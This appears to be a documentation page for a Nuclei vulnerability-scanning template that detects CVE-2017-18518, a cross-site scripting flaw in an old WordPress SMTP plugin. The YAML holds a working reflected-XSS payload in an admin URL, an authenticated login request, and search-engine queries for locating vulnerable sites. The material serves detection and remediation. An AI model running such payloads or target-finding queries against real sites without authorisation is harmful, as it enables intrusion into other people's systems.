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SMTP by BestWebSoft < 1.1.0 - Cross-Site Scripting

ID: CVE-2017-18518

Severity: medium

Author: luisfelipe146

Tags: cve,cve2017,wordpress,wp-plugin,wpscan,bws-smtp,xss,authenticated,bestwebsoft

Description

Section titled “Description”

The bws-smtp plugin before 1.1.0 for WordPress has multiple XSS issues.

YAML Source

Section titled “YAML Source”
id: CVE-2017-18518


info:
  name: SMTP by BestWebSoft < 1.1.0 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The bws-smtp plugin before 1.1.0 for WordPress has multiple XSS issues.
  remediation: Fixed in version 1.1.0
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18518
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18518
    - https://wordpress.org/plugins/bws-smtp/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18518
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:bestwebsoft:smtp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: smtp
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/bws-smtp/
    fofa-query: body=/wp-content/plugins/bws-smtp/
    publicwww-query: /wp-content/plugins/bws-smtp/
  tags: cve,cve2017,wordpress,wp-plugin,wpscan,bws-smtp,xss,authenticated,bestwebsoft


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/bws-smtp/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "SMTP by BestWebSoft")'
        condition: and
# digest: 490a0046304402203bff2f7ce279901f155380dc359d897a7561e84ee523405f824196853159ffc802203a621d70c3b0ce5da0d7cac64df3619f6c3df2dbb2d201b35b9c3b5f95e34d9d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18518.yaml"

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